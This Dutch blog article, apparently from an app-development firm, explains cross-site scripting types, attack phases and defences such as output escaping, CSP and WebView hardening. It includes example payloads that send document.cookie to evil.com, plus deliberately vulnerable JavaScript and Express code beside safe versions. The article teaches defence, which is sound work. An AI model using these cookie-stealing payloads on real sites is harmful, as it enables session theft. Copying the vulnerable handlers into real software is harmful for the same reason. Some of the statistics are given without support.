XSS — wat is het, aanvalstypen en beschermingsmethoden

Auteur: IT Sectr Gepubliceerd: 2026-04-06 Leestijd: 9 min

XSS (Cross-Site Scripting) — een type kwetsbaarheid in webapplicaties waarbij een aanvaller kwaadaardige JavaScript-code injecteert in inhoud die aan andere gebruikers wordt getoond. Volgens gegevens van OWASP Top Ten (2025), blijft XSS een van de meest voorkomende kwetsbaarheden, die meer dan 60% van de webapplicaties treft. Cross-site scripting maakt het mogelijk om sessiecookies te stelen, gebruikers naar phishing-sites te leiden en pagina-inhoud in realtime te wijzigen.

Belangrijkste punten

  • XSS — het injecteren van een script in een pagina dat in de browser van het slachtoffer wordt uitgevoerd namens de legitieme site
  • Drie typen — Stored (permanente injectie), Reflected (weerkaatst) en DOM-based (client-side)
  • Stored XSS — het gevaarlijkste type: kwaadaardige code wordt op de server opgeslagen en uitgevoerd bij elke paginalading
  • Reflected XSS — script wordt via URL-parameters doorgegeven en geactiveerd bij het klikken op een speciaal gemaakt linkje
  • Output escaping — de belangrijkste beschermingsmethode: alle gebruikersgegevens moeten worden geëscaped voordat ze in HTML worden ingevoegd

Wat is XSS?

XSS (Cross-Site Scripting) — is een kwetsbaarheid waarmee een aanvaller JavaScript-code in een webpagina kan injecteren, die vervolgens wordt uitgevoerd in de browser van het slachtoffer. De browser laadt de pagina van een vertrouwde site en voert het geïnjecteerde script uit met dezelfde rechten als de legitieme code van de site. Dit geeft de aanvaller toegang tot cookies, session storage, de DOM-structuur van de pagina en de mogelijkheid om verzoeken namens het slachtoffer te versturen. XSS-kwetsbaarheden ontstaan wanneer de applicatie gebruikersgegevens in een HTML-pagina invoegt zonder juiste escaping of validatie.

Geschiedenis en actualiteit van XSS

De term Cross-Site Scripting verscheen voor het eerst in 2000 in de Microsoft Security Bulletin. In de afgelopen 25 jaar heeft XSS niet aan actualiteit ingeboet: volgens HackerOne (2025) is XSS verantwoordelijk voor ongeveer 22% van alle geregistreerde kwetsbaarheden op het platform. De reden voor de hardnekkigheid van XSS is de complexiteit van het controleren van alle invoerpunten van gebruikersgegevens. Elk invoerveld, URL-parameter, HTTP-verzoekheader of bestandsnaam kan een aanvalsvector worden als de gegevens zonder verwerking in de HTML-code worden weerspiegeld.

Welke schade veroorzaakt XSS?

XSS-aanvallen kunnen leiden tot diefstal van sessiecookies, waardoor de aanvaller zonder wachtwoord in het account van het slachtoffer kan inloggen. Andere gevolgen: omleiding naar phishing-sites, vervanging van pagina-inhoud, diefstal van persoonlijke gegevens, installatie van kwaadaardige software (drive-by download). In 2023 trof een XSS-aanval op het Salesforce Community Cloud-platform de gegevens van duizenden zakelijke klanten, wat aantoonde dat zelfs grote platforms niet immuun zijn voor deze kwetsbaarheid.

Soorten XSS-aanvallen

De XSS-classificatie verdeelt aanvallen in drie hoofdtypen op basis van de manier waarop kwaadaardige code wordt geleverd. Elk type vereist een andere benadering van bescherming: Stored XSS wordt geblokkeerd door het escapen van uitvoer uit de database, Reflected — door het escapen van URL-parameters, DOM-based — door veilig werken met de DOM-API. Het begrijpen van het verschil is de basis van een effectieve beveiligingsstrategie.

TypeScriptopslagLeveringsvectorDetectiecomplexiteit
Stored XSSServerdatabaseReacties, profielen, berichtenGemiddeld
Reflected XSSURL-parametersPhishing-links, e-mailHoog
DOM-based XSSClient-JavaScriptURL-fragmenten, postMessageZeer hoog

Stored XSS (permanent)

Het gevaarlijkste type XSS. De aanvaller injecteert een script in gegevens die de server in de database opslaat en bij elke paginalading weergeeft. Een typische vector — het reactieveld: de aanvaller publiceert een reactie met <script>document.location='https://evil.com/?c='+document.cookie</script>. Elke gebruiker die de pagina laadt met deze reactie, stuurt zijn cookies naar de aanvaller. Stored XSS vereist geen enkele actie van het slachtoffer behalve het bezoeken van de pagina — dit maakt het bijzonder gevaarlijk voor sociale netwerken, forums en blogs.

Reflected XSS (weerkaatst)

Het kwaadaardige script wordt in het HTTP-verzoek (meestal in een URL-parameter) doorgegeven en onmiddellijk door de server in het antwoord weerspiegeld. De aanvaller maakt een link van de vorm https://example.com/search?q=<script>...</script> en verspreidt deze via phishing, sociale netwerken of e-mail. Het slachtoffer, dat op de link klikt, krijgt een pagina waar de ingevoerde zoekopdracht (script) zonder escaping wordt weergegeven. Reflected XSS vereist sociale engineering — het slachtoffer moet op de link klikken, wat het risico vermindert maar niet wegneemt.

DOM-based XSS

In tegenstelling tot Stored en Reflected, vereist DOM-based XSS geen gegevens naar de server te sturen. De kwetsbaarheid ontstaat wanneer client-JavaScript gebruikersgegevens uit URL, document.referrer, postMessage of localStorage in de DOM invoegt zonder veilige verwerking. Bijvoorbeeld code van de vorm document.getElementById('output').innerHTML = location.hash.substring(1) voert elke HTML en scripts uit het URL-fragment uit (#<img onerror='...'>). DOM-based XSS is het moeilijkst te detecteren omdat de server nooit de kwaadaardige payload ontvangt — deze wordt volledig op de client verwerkt.

javascript
// Voorbeeld DOM-based XSS (KWETSBAARCODE)
// Als userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
    window.location.search
).get('message');

// document.write — gevaarlijk: voegt ruwe HTML in
document.write('<div>' + userInput + '</div>');

// VEILIG ALTERNATIEF — gebruik textContent
document.getElementById('output').textContent = userInput;

Hoe werkt een XSS-aanval?

Een XSS-aanval maakt misbruik van een fundamentele eigenschap van het web: de browser voert JavaScript uit dat is ontvangen van een vertrouwd domein. Als de aanvaller een manier vindt om zijn code in het HTML-antwoord van de server te injecteren, voert de browser deze uit met dezelfde rechten als de legitieme code. De aanval doorloopt drie fasen: injectie van kwaadaardige code in de inhoud, levering van de inhoud aan de browser van het slachtoffer en uitvoering van de code met toegang tot DOM, cookies en storage.

Injectiefase

De aanvaller vindt een toegangspunt — een veld, URL-parameter of header waarvan de waarde door de server in het HTML-antwoord wordt opgenomen zonder escaping. Typische toegangspunten: zoekvelden, reactievelden, gebruikersnaam, avatar-URL, cookie-bestanden, HTTP-headers (User-Agent, Referer). Moderne frameworks (React, Angular, Vue) escapen automatisch de uitvoer, maar programmeurs kunnen escaping uitschakelen via dangerouslySetInnerHTML, bypassSecurityTrustHtml of v-html.

Leveringsfase

Voor Reflected XSS verspreidt de aanvaller een kwaadaardige link. Voor Stored XSS is het voldoende om inhoud te publiceren op de doelsite, en elke bezoeker van de pagina wordt een slachtoffer. DOM-based XSS wordt geactiveerd bij het laden van de pagina met een specifiek URL-fragment. Alle drie fasen kunnen automatisch worden uitgevoerd: als XSS wordt ontdekt in een advertentiebanner (third-party content), treft de aanval alle gebruikers van de site totdat de banner wordt uitgeschakeld.

javascript
// Voorbeeld Reflected XSS in zoeken (KWETSBAAR BACKEND)
// In plaats van parameter q te escapen, voegt de server deze in HTML in

// Express.js — kwetsbare handler:
app.get('/search', (req, res) => {
    const query = req.query.q; // gebruikersinvoer
    res.send(`<h1>Results for: ${query}</h1>`);
});

// VEILIGE VERSIE — escaping via encodeURI of template-engine:
app.get('/search', (req, res) => {
    const query = escapeHtml(req.query.q);
    res.send(`<h1>Results for: ${query}</h1>`);
});

function escapeHtml(text) {
    return text
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;');
}

XSS in mobiele apps

Mobiele applicaties zijn ook vatbaar voor XSS-aanvallen, zij het in mindere mate dan websites. De belangrijkste vector is WebView en hybride frameworks (Cordova, Capacitor, React Native met WebView). Als de applicatie webinhoud in WebView laadt — vooral gebruikersinhoud (HTML-e-mails, artikelen, berichten) — kan een XSS-kwetsbaarheid leiden tot uitvoering van JavaScript binnen de applicatie met toegang tot native functies via de JavaScript-brug.

XSS in WebView Android

Android WebView voert standaard JavaScript uit. Als de applicatie een HTML-string laadt via loadDataWithBaseURL() of gebruikersinhoud weergeeft, kan een XSS-aanval de aanvaller toegang geven tot de JavaScript-interface (addJavascriptInterface). Google heeft het gebruik van @JavascriptInterface voor API < 17 verboden, maar legacy-code in oude applicaties komt nog steeds voor. Bescherming: schakel JavaScript in WebView uit als het niet nodig is en gebruik veilig browsen.

XSS in React Native en Flutter

React Native gebruikt geen WebView voor de UI — componenten worden in native weergaven gerenderd. Bij het weergeven van HTML via react-native-webview of rich-text-componenten keert het XSS-risico echter terug. Flutter gebruikt zijn eigen render-engine (Skia) en ondersteunt geen JavaScript in HTML-widgets (flutter_html voert script-tags niet uit), maar WebView-plugins (webview_flutter) zijn kwetsbaar vergelijkbaar met native WebViews. Beste praktijk — geef nooit ongeverifieerde HTML door aan WebView.

  • Schakel JavaScript uit in WebView als de inhoud geen interactiviteit vereist
  • Gebruik CSP-headers om scriptbronnen in WebView te beperken
  • Sanitizeer HTML voor het laden in WebView: verwijder script-tags en event-handlers
  • Gebruik geen addJavascriptInterface op Android zonder strikte controle van inkomende gegevens
kotlin
// Veilige configuratie van WebView in Android
val webView = findViewById<WebView>(R.id.webview)

// JavaScript uitschakelen als interactiviteit niet nodig is
webView.settings.javaScriptEnabled = false

// HTML sanitiseren voor het laden
val sanitizedHtml = Jsoup.clean(userHtml,
    Whitelist.basic()
        .removeProtocols("img", "src", "javascript")
)

webView.loadDataWithBaseURL(null, sanitizedHtml,
    "text/html", "UTF-8", null)

Methoden om XSS te voorkomen

Bescherming tegen XSS is gebaseerd op drie principes: vertrouw gebruikersinvoer niet, escape vóór uitvoer, gebruik Content Security Policy. Output escaping (output encoding) — de belangrijkste methode: alle van de gebruiker ontvangen gegevens moeten worden geëscaped voordat ze in HTML, JavaScript, CSS of URL worden ingevoegd. Moderne template-engines (Twig, Handlebars, JSX, Blade) doen dit automatisch, als de programmeur escaping niet uitschakelt met speciale methoden.

Contextuele escaping

Escaping is afhankelijk van de context waarin gegevens worden ingevoegd. In HTML-context worden <, >, &, aanhalingstekens geëscaped. In JavaScript-context worden backticks, , </script> geëscaped. In CSS-context — controletekens. In URL-context — URL-codering. Een contextfout — bijvoorbeeld het invoegen van een HTML-geëscaped string in een onclick-attribuut — beschermt niet tegen XSS, omdat onclick wordt uitgevoerd in JavaScript-context, waar een andere escaping nodig is.

Content Security Policy (CSP)

CSP — een HTTP-header die de bronnen beperkt waarvan de browser scripts, stijlen en andere bronnen kan laden. Strikte CSP (zonder unsafe-inline, zonder unsafe-eval) blokkeert de uitvoering van alle inline-scripts, inclusief XSS-vectoren. Volgens Google Security Blog (2025) blokkeren sites met CSP 95% van de XSS-aanvallen. Voorbeeld: Content-Security-Policy: default-src 'self'; script-src 'self' verbiedt alle externe en inline-scripts. CSP beschermt niet tegen Stored XSS als het script van hetzelfde domein wordt geladen, maar dit vereist extra inspanning van de aanvaller.

HttpOnly en Secure cookies

Het instellen van de HttpOnly-vlag voor cookies voorkomt toegang via JavaScript (document.cookie), wat diefstal van sessiecookies via XSS blokkeert. De Secure-vlag garandeert dat de cookie alleen via HTTPS wordt verzonden. De combinatie HttpOnly + Secure + SameSite=Lax maakt diefstal van sessiecookies via XSS praktisch onmogelijk. XSS kan echter nog steeds acties uitvoeren namens de gebruiker (bijvoorbeeld verzoeken verzenden), dus HttpOnly is geen wondermiddel, maar een onderdeel van uitgebreide bescherming.

BeschermingsmethodeTegen welke XSS-typen beschermt hetEffectiviteit
Output escapingStored, Reflected, DOM-based99%
CSPInline XSS, eval-based95%
HttpOnly cookiesSessiediefstal via XSS100% (niet leesbaar)
InvoervalidatieStored, Reflected50% (afhankelijk van type)
TRUSTED TYPESDOM-based (innerHTML)90%

Hulpmiddelen voor XSS-detectie

Regelmatig testen op XSS — een verplicht onderdeel van de CI/CD-pipeline van veilige ontwikkeling. Geautomatiseerde scanners vinden tot 80% van de XSS-kwetsbaarheden, de rest vereist handmatige pentesten. De beste aanpak is een combinatie van SAST-analyse (statisch), DAST-scannen (dynamisch) en code review met focus op de invoerpunten van gebruikersgegevens.

  • OWASP ZAP — gratis DAST-scanner, vindt automatisch XSS in webapplicaties
  • Burp Suite Professional — geavanceerd hulpmiddel met Active Scan en Intruder voor XSS
  • XSStrike — gespecialiseerde scanner voor XSS met payload-generatie
  • ESLint-plugin-security — statische analyse van React/JSX op gevaarlijke patronen
  • Google Observatory — controle van CSP-headers en aan XSS gerelateerde configuraties

Voor mobiele applicaties omvat XSS-testen WebView-analyse: controle van JavaScript-interfaces, verwerking van URL-schema's en overdracht van HTML naar loadDataWithBaseURL. Het wordt ook aanbevolen om de verwerking van postMessage in hybride applicaties te testen en te controleren welke gegevens via de JavaScript-brug worden doorgegeven. Gebruik een emulator met proxy (Burp Suite) voor het onderscheppen en wijzigen van mobiel applicatieverkeer.

Veelgestelde vragen

Wat is het verschil tussen Stored en Reflected XSS?

Stored XSS slaat het kwaadaardige script op de server op (in de database) en wordt geactiveerd bij elke paginalading. Reflected XSS geeft het script door via een URL-parameter en de aanval wordt alleen geactiveerd bij het klikken op een kwaadaardige link. Stored is gevaarlijker omdat het geen actie van het slachtoffer vereist — het is voldoende om de geïnfecteerde pagina te openen.

Beschermt HTTPS tegen XSS?

Nee, HTTPS beschermt niet tegen XSS. HTTPS versleutelt het verkeer tussen browser en server, maar heeft geen invloed op de verwerking van gebruikersinvoer aan de serverzijde. XSS-kwetsbaarheid bestaat op applicatieniveau, niet op transportniveau. HTTPS is het verplichte beveiligingsminimum, maar geen bescherming tegen XSS.

Kan een XSS-aanval het mobiele apparaat zelf beschadigen?

In de meeste gevallen wordt XSS uitgevoerd in de sandbox van de browser of WebView en heeft het geen toegang tot het bestandssysteem of de hardware van het apparaat. In Android WebView met ingeschakelde JavaScript-interface kan het XSS-script echter native methoden van de applicatie aanroepen. In iOS WKWebView kan het ook gegevens onthullen via JavaScriptCore, als de juiste brug is geconfigureerd.

Hoe testen we XSS in mobiele applicaties?

Gebruik Burp Suite of OWASP ZAP met een geconfigureerde proxy op het mobiele apparaat. Onderschep applicatieverzoeken, wijzig parameters en stuur XSS-payloads door. Controleer WebView op HTML-verwerking via loadDataWithBaseURL en de aanwezigheid van JavaScript-bruggen. Test voor React Native de WebView-componenten afzonderlijk.

Wat is DOM-based XSS in eenvoudige woorden?

DOM-based XSS — is een aanval waarbij JavaScript op de pagina zelf gegevens uit de URL of andere bronnen haalt en deze zonder controle in HTML invoegt. De server doet niet mee — de kwaadaardige code wordt volledig in de browser verwerkt. Een typisch voorbeeld: de site haalt tekst uit location.hash en voegt deze via innerHTML in, waardoor elke HTML-code kan worden uitgevoerd.

Samenvatting

  • XSS — cross-site scripting, waarmee JavaScript-code in een webpagina kan worden geïnjecteerd om de browser van het slachtoffer aan te vallen
  • Drie typen — Stored (permanent, in database), Reflected (weerkaatst, via URL), DOM-based (client-side, via DOM-API)
  • Stored XSS — gevaarlijkste: vereist geen actie van het slachtoffer, wordt geactiveerd bij het laden van de geïnfecteerde pagina
  • Output escaping — belangrijkste beschermingsmethode: contextuele escaping vóór invoeging in HTML, JS, CSS, URL
  • CSP-headers blokkeren 95% van XSS-aanvallen door inline-scripts en externe bronnen te verbieden
  • HttpOnly en Secure — cookie-vlaggen die sessiediefstal via document.cookie voorkomen
  • Regelmatig testen — OWASP ZAP, Burp Suite en code review zijn verplicht in de CI/CD-pipeline

We ontwikkelen een mobiele applicatie turnkey

IT Sectr creëert sinds 2017 iOS- en Android-applicaties voor startups en bedrijven. We adviseren u en stellen de beste oplossing voor.

Bespreek het project

Lees ook